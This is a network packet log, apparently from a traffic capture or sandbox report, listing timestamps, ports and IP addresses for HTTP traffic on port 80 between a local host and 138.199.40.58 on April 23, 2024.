Apr 23, 2024 08:39:58.626384020 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.626388073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.626400948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.626415014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.626424074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.626447916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.626461029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.626473904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.626578093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.627046108 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.627100945 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.627114058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.627120972 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.627160072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.627173901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.627193928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.627206087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.627209902 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.627288103 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.627321005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.627351999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.627363920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.627377033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.627388954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.627399921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.627443075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.627443075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.628127098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.628153086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.628165007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.628175020 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.628175974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.628199100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.628210068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.628230095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.628237009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.628248930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.628258944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.628259897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.628282070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.628300905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.628356934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.628376961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.628545046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.628588915 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.628875971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.628889084 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629020929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629033089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629043102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.629049063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629060984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629075050 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.629146099 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.629148960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629162073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629184961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629209042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629228115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.629242897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629261971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.629276037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629329920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.629791021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629827976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629852057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629872084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.629930019 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.629942894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629956007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629966974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629977942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.629991055 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.630036116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.630037069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.630038023 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.630048990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.630083084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.630104065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.630116940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.630280018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.630644083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.630696058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.630708933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.630713940 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.630748987 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.630749941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.630853891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.630912066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.630924940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.630971909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.630984068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.630990982 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.631020069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631042004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.631066084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631078959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631118059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.631130934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.631547928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631560087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631612062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631625891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631632090 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.631659985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.631704092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631773949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631786108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631798983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631818056 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.631886959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631887913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.631900072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631912947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631942987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.631963968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.632055998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.632458925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.632508039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.632513046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.632524967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.632539034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.632584095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.632596016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.632606983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.632618904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.632632017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.632641077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.632700920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.632714987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.632725954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.632728100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.632750034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.632771015 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.632844925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.633346081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.633358955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.633447886 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.633447886 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.633465052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.633497953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.633605957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.633627892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.633650064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.633663893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.633672953 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.633686066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.633733034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.633745909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.633754015 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.633757114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.633769989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.633779049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.633851051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.633853912 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.633924007 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.634219885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.634247065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.634265900 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.634287119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.634309053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.634335041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.634354115 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.634367943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.634381056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.634383917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.634438038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.634480000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.634485960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.634500027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.634536982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.634547949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.634561062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.634591103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.635138035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.635171890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.635185003 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.635191917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.635271072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.635287046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.635292053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.635313034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.635334015 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.635353088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.635365963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.635379076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.635433912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.635440111 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.635446072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.635457993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.635476112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.635639906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.636149883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.636229038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.636246920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.636250973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.636261940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.636292934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.636308908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.636311054 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.636331081 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.636351109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.636382103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.636472940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.636490107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.636492014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.636506081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.636523008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.636545897 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.636708021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.636910915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.636979103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637017012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637051105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.637051105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.637092113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637121916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637137890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637156010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637159109 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.637171984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637209892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637229919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.637231112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637280941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637299061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637305021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.637458086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.637871981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637887955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637903929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637923956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.637923956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.637944937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.638006926 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638024092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638039112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638056040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638060093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.638103962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638119936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638128042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.638164043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.638165951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638183117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638290882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.638755083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638797045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638813019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638817072 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.638849020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638865948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638873100 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.638950109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638967037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.638968945 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.639015913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639033079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639048100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639054060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.639065027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639096022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.639132977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639214039 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.639658928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639699936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639717102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639720917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.639763117 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639785051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.639796019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639827967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639844894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639867067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.639894962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639952898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.639955044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639971018 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.639987946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.640003920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.640006065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.640058994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.640620947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.640683889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.640685081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.640821934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.640840054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.640855074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.640871048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.640875101 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.640887976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.640904903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.640913010 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.640937090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.640954971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.641022921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.641040087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.641057014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.641060114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.641119003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.641542912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.641577005 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.641608000 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.641628027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.641707897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.641730070 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.641819954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.641835928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.641853094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.641869068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.641889095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.641913891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.641971111 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.641993046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.642009020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.642024994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.642045021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.642152071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.642333031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.642349005 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.642369986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.642390966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.642407894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.642430067 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.642441034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.642457008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.642473936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.642504930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.642507076 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.642520905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.642549038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.642575979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.642587900 CEST	80	49705	138.199.40.58	192.168.2.7
